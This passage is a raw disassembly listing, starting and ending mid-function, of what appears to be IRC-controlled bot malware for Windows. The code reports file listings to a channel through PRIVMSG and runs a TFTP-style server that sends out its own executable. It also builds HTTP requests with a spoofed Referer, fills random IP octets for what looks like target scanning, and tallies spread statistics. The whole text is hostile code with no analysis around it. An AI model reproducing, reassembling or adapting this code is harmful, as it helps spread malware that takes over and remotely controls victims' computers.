call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
lea eax, [ebp+var_35C]
push eax
call sub_415B10
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_40681A
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40681F
; ---------------------------------------------------------------------------
loc_40681A: ; CODE XREF: sub_4062F7+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40681F: ; CODE XREF: sub_4062F7+521j
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41588A
add esp, 1Ch
jmp short loc_40689A
; ---------------------------------------------------------------------------
loc_406874: ; CODE XREF: sub_4062F7+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_40688B: ; CODE XREF: sub_4062F7+40Cj
lea eax, [ebp+var_248]
push eax
call sub_41588A
add esp, 18h
loc_40689A: ; CODE XREF: sub_4062F7+317j
; sub_4062F7+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
cmp [ebp+arg_8], ebx
jz short loc_4068C9
push 7D0h
call dword_421060 ; Sleep
loc_4068C9: ; CODE XREF: sub_4062F7+225j
; sub_4062F7+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz loc_406516
loc_4068E1: ; CODE XREF: sub_4062F7+214j
push [ebp+arg_0]
call dword_421098 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_406924
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_415316
add esp, 14h
jmp short loc_406952
; ---------------------------------------------------------------------------
loc_406924: ; CODE XREF: sub_4062F7+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_40693E
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_415316
pop ecx
pop ecx
jmp short loc_406952
; ---------------------------------------------------------------------------
loc_40693E: ; CODE XREF: sub_4062F7+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_415316
add esp, 10h
loc_406952: ; CODE XREF: sub_4062F7+62Bj
; sub_4062F7+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4062F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406978 proc near ; CODE XREF: sub_405ECC+135p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_421078 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406A30
push esi
push ebx
call dword_421090 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406A29
loc_4069BD: ; CODE XREF: sub_406978+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_415390
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_4069DA
mov edi, [ebp+arg_4]
loc_4069DA: ; CODE XREF: sub_406978+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_4210AC ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_421068 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_406A24
call dword_43C4E8
cmp eax, 2733h
jnz short loc_406A29
xor eax, eax
loc_406A24: ; CODE XREF: sub_406978+9Bj
sub [ebp+arg_4], eax
jnz short loc_4069BD
loc_406A29: ; CODE XREF: sub_406978+43j
; sub_406978+A8j
push ebx
call dword_42106C ; CloseHandle
loc_406A30: ; CODE XREF: sub_406978+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406978 endp
; =============== S U B R O U T I N E =======================================
sub_406A35 proc near ; CODE XREF: sub_406048+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_415B10
test eax, eax
pop ecx
jbe short loc_406A5E
loc_406A48: ; CODE XREF: sub_406A35+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406A52
mov byte ptr [esi+edi], 2Fh
loc_406A52: ; CODE XREF: sub_406A35+17j
push edi
inc esi
call sub_415B10
cmp esi, eax
pop ecx
jb short loc_406A48
loc_406A5E: ; CODE XREF: sub_406A35+11j
mov eax, edi
pop edi
pop esi
retn
sub_406A35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A63 proc near ; CODE XREF: sub_40CD3A+2A1Ap
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_43C4CC
push 6
push 1
push 2
call dword_43C5D4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_43C554
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_409F7A
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jz short loc_406B40
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406ADC
mov eax, offset byte_43B188
loc_406ADC: ; CODE XREF: sub_406A63+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_43C5A4
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_4153F0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_43C56C
pop esi
loc_406B40: ; CODE XREF: sub_406A63+6Bj
push ebx
call dword_43C5EC
call dword_43C4B4
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_415316
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406B80
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_406B80: ; CODE XREF: sub_406A63+102j
pop edi
pop ebx
leave
retn
sub_406A63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B84 proc near ; CODE XREF: sub_406B84:loc_407069p
; DATA XREF: sub_4071B6+104o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
movsw
xor ebx, ebx
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_43C5D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406C47
push 190h
call dword_421060 ; Sleep
call dword_43C4E8
push eax
lea eax, [ebp+var_780]
push offset unk_427310
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406C27
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412BD1
add esp, 14h
loc_406C27: ; CODE XREF: sub_406B84+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40B078
push [ebp+var_170]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_406C47: ; CODE XREF: sub_406B84+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_4416D4[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_43C554
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_43C580
cmp eax, 0FFFFFFFFh
jnz short loc_406CAC
push 1388h
call dword_421060 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_407069
; ---------------------------------------------------------------------------
loc_406CAC: ; CODE XREF: sub_406B84+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_415A08
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406D2A
push 190h
call dword_421060 ; Sleep
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_4272C0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412BD1
lea eax, [ebp+var_780]
push eax
call sub_40B078
push [ebp+var_170]
call sub_4150F0
add esp, 28h
push ebx
call dword_421048 ; ExitThread
loc_406D2A: ; CODE XREF: sub_406B84+140j
mov esi, 200h
loc_406D2F: ; CODE XREF: sub_406B84+49Fj
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_407029
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_43C53C
test eax, eax
jle loc_40701D
mov al, byte_43B188
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_43C52C
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_43C5E0
push eax
lea eax, [ebp+var_58]
push eax
call sub_415316
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_407007
cmp [ebp+var_D7], 1
jnz loc_406F59
lea eax, [ebp+var_274]
push eax
call sub_415B10
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_416D70
add esp, 14h
test eax, eax
jnz loc_406F13
lea eax, [ebp+var_1C]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_416D70
add esp, 10h
test eax, eax
jnz loc_406F13
push ebx
push ebx
push [ebp+var_8]
call sub_416CDE
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_416A57
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_43C5B8
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset unk_427268
loc_406EC7: ; CODE XREF: sub_406B84+47Ej
lea eax, [ebp+var_780]
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406F01
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412BD1
add esp, 14h
loc_406F01: ; CODE XREF: sub_406B84+358j
lea eax, [ebp+var_780]
push eax
call sub_40B078
pop ecx
jmp loc_40701D
; ---------------------------------------------------------------------------
loc_406F13: ; CODE XREF: sub_406B84+2B6j
; sub_406B84+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_427254
push edi
call dword_43C5B8
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_427218
push eax
call sub_415316
lea eax, [ebp+var_D8]
push eax
call sub_40B078
add esp, 14h
jmp loc_40701D
; ---------------------------------------------------------------------------
loc_406F59: ; CODE XREF: sub_406B84+275j
cmp [ebp+var_D7], 4
jnz loc_407007
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_406F90
inc al
xor cl, cl
mov [ebp+var_57D], bl
jmp short loc_406F98
; ---------------------------------------------------------------------------
loc_406F90: ; CODE XREF: sub_406B84+3FEj
inc cl
mov [ebp+var_57D], cl
loc_406F98: ; CODE XREF: sub_406B84+40Aj
mov [ebp+var_57E], al
push ebx
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_416CDE
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_416A57
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_43C5B8
cmp edi, ebx
jnz short loc_40701D
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_4271C8
jmp loc_406EC7
; ---------------------------------------------------------------------------
loc_407007: ; CODE XREF: sub_406B84+268j
; sub_406B84+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_4271B8
push edi
call dword_43C5B8
loc_40701D: ; CODE XREF: sub_406B84+204j
; sub_406B84+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406D2F
loc_407029: ; CODE XREF: sub_406B84+1B4j
push edi
call dword_43C5EC
push [ebp+var_8]
call sub_415960
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_40705D
push [ebp+var_170]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40705D: ; CODE XREF: sub_406B84+4C4j
push 3E8h
call dword_421060 ; Sleep
push esi
loc_407069: ; CODE XREF: sub_406B84+123j
call sub_406B84
pop edi
pop esi
pop ebx
leave
retn 4
sub_406B84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407075 proc near ; CODE XREF: sub_40CD3A+5753p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_407078: ; DATA XREF: seg001:00424DDCo
; seg001:00424DF0o ...
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_427730
push eax
xor ebx, ebx
call sub_415316
cmp dword_427388, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_4070E3
push esi
mov esi, offset dword_427390
loc_4070A8: ; CODE XREF: sub_407075+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_415316
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416DB0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_4070A8
pop esi
loc_4070E3: ; CODE XREF: sub_407075+2Bj
push dword_46A9B8
call sub_40A8CF
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_415316
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416DB0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_200]
push eax
call sub_40B078
add esp, 38h
pop edi
pop ebx
leave
retn
sub_407075 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40713F proc near ; CODE XREF: sub_40CD3A+50A5p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_41501C
test eax, eax
pop ecx
jle short loc_40717B
mov eax, [ebp+arg_C]
push dword_43B1A8[eax*8]
call dword_43C5E0
push eax
lea eax, [ebp+var_200]
push offset unk_42779C
push eax
call sub_415316
add esp, 0Ch
jmp short loc_40718E
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_40713F+13j
lea eax, [ebp+var_200]
push offset unk_427768
push eax
call sub_415316
pop ecx
pop ecx
loc_40718E: ; CODE XREF: sub_40713F+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_200]
push eax
call sub_40B078
add esp, 18h
leave
retn
sub_40713F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071B6 proc near ; CODE XREF: sub_4078DF+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_407534
imul eax, 3Ch
xor ebx, ebx
cmp dword_427394[eax], ebx
jz loc_407427
push 4
call sub_41501C
test eax, eax
pop ecx
jnz loc_407534
mov eax, dword_42C24C
push edi
mov edi, offset dword_43BB24
push 104h
push edi
push ebx
mov dword_43BD34, eax
mov dword_43BD30, ebx
call dword_42107C ; GetModuleFileNameA
push 103h
mov esi, offset dword_43BC28
push offset byte_42C2BC
push esi
call sub_416BE0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43BB20, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43BDB8, eax
jnz short loc_407266
lea eax, [ebp+arg_10]
push eax
push offset dword_43BD38
call sub_416BE0
mov dword_43BDBC, 1
jmp short loc_40727D
; ---------------------------------------------------------------------------
loc_407266: ; CODE XREF: sub_4071B6+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_43BD38
call sub_416BE0
mov dword_43BDBC, ebx
loc_40727D: ; CODE XREF: sub_4071B6+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_43BD34
push offset unk_427950
push eax
call sub_415316
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_414DDA
add esp, 20h
mov dword_43BD2C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43BB20
push offset sub_406B84
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_43BD2C
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz loc_40737C
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_427908
push eax
call sub_415316
add esp, 0Ch
loc_4072FC: ; CODE XREF: sub_4071B6+1CEj
lea eax, [ebp+var_204]
push eax
call sub_40B078
mov edi, offset dword_43C17C
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_43C388, ebx
call dword_42107C ; GetModuleFileNameA
push 103h
mov esi, offset dword_43C280
push offset byte_42C2BC
push esi
call sub_416BE0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43C178, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43C410, eax
jnz short loc_407389
lea eax, [ebp+arg_10]
push eax
push offset dword_43C390
call sub_416BE0
mov dword_43C414, 1
jmp short loc_4073A0
; ---------------------------------------------------------------------------
loc_407374: ; CODE XREF: sub_4071B6+1CCj
push 32h
call dword_421060 ; Sleep
loc_40737C: ; CODE XREF: sub_4071B6+125j
cmp dword_43BDC0, ebx
jz short loc_407374
jmp loc_4072FC
; ---------------------------------------------------------------------------
loc_407389: ; CODE XREF: sub_4071B6+1A2j
lea eax, [ebp+arg_90]
push eax
push offset dword_43C390
call sub_416BE0
mov dword_43C414, ebx
loc_4073A0: ; CODE XREF: sub_4071B6+1BCj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_43C38C
push offset dword_4278B0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_414DDA
add esp, 20h
mov dword_43C384, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43C178
push offset sub_405398
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_43C384
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40741A
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_427868
jmp loc_407518
; ---------------------------------------------------------------------------
loc_407412: ; CODE XREF: sub_4071B6+26Aj
push 32h
call dword_421060 ; Sleep
loc_40741A: ; CODE XREF: sub_4071B6+249j
cmp dword_43C418, ebx
jz short loc_407412
jmp loc_407527
; ---------------------------------------------------------------------------
loc_407427: ; CODE XREF: sub_4071B6+25j
cmp dword_427398[eax], ebx
jz loc_407534
push 3
call sub_41501C
test eax, eax
pop ecx
jnz loc_407534
mov esi, offset dword_43C054
push 104h
push esi
push ebx
call dword_42107C ; GetModuleFileNameA
push 5Ch
push esi
call sub_416EE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407465
mov [eax], bl
loc_407465: ; CODE XREF: sub_4071B6+2ABj
mov eax, dword_42C250
mov dword_43C16C, ebx
mov dword_43C158, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_43BDCC
call sub_415316
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_43BDC8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_43C158
mov dword_43C164, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_43C168, ecx
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_427818
push eax
call sub_415316
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_414DDA
add esp, 20h
mov dword_43C160, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43BDC8
push offset sub_405A96
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_43C160
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_407540
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4277D0
loc_407518: ; CODE XREF: sub_4071B6+257j
lea eax, [ebp+var_204]
push eax
call sub_415316
add esp, 0Ch
loc_407527: ; CODE XREF: sub_4071B6+26Cj
; sub_4071B6+392j
lea eax, [ebp+var_204]
push eax
call sub_40B078
pop ecx
loc_407534: ; CODE XREF: sub_4071B6+14j
; sub_4071B6+35j ...
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407538: ; CODE XREF: sub_4071B6+390j
push 32h
call dword_421060 ; Sleep
loc_407540: ; CODE XREF: sub_4071B6+354j
cmp dword_43C174, ebx
jz short loc_407538
jmp short loc_407527
sub_4071B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40754A proc near ; CODE XREF: sub_4076CB:loc_40772Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:43B1A8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_4153F0
add esp, 0Ch
push [ebp+arg_0]
call dword_43C488
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43C550
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_4153F0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40754A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407592 proc near ; CODE XREF: sub_4076CB+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_415B10
cmp eax, 0Fh
pop ecx
jbe short loc_4075BA
xor eax, eax
jmp short loc_40762B
; ---------------------------------------------------------------------------
loc_4075BA: ; CODE XREF: sub_407592+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_416947
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_4075E7
call sub_415372
mov [ebp+var_C], eax
loc_4075E7: ; CODE XREF: sub_407592+4Bj
cmp [ebp+var_8], esi
jnz short loc_4075F4
call sub_415372
mov [ebp+var_8], eax
loc_4075F4: ; CODE XREF: sub_407592+58j
cmp [ebp+var_4], esi
jnz short loc_407601
call sub_415372
mov [ebp+var_4], eax
loc_407601: ; CODE XREF: sub_407592+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40760D
call sub_415372
loc_40760D: ; CODE XREF: sub_407592+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_43B1A8[ecx*8], eax
loc_40762B: ; CODE XREF: sub_407592+26j
pop esi
leave
retn
sub_407592 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40762E proc near ; CODE XREF: sub_4076CB+A9p
; sub_412A1D+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
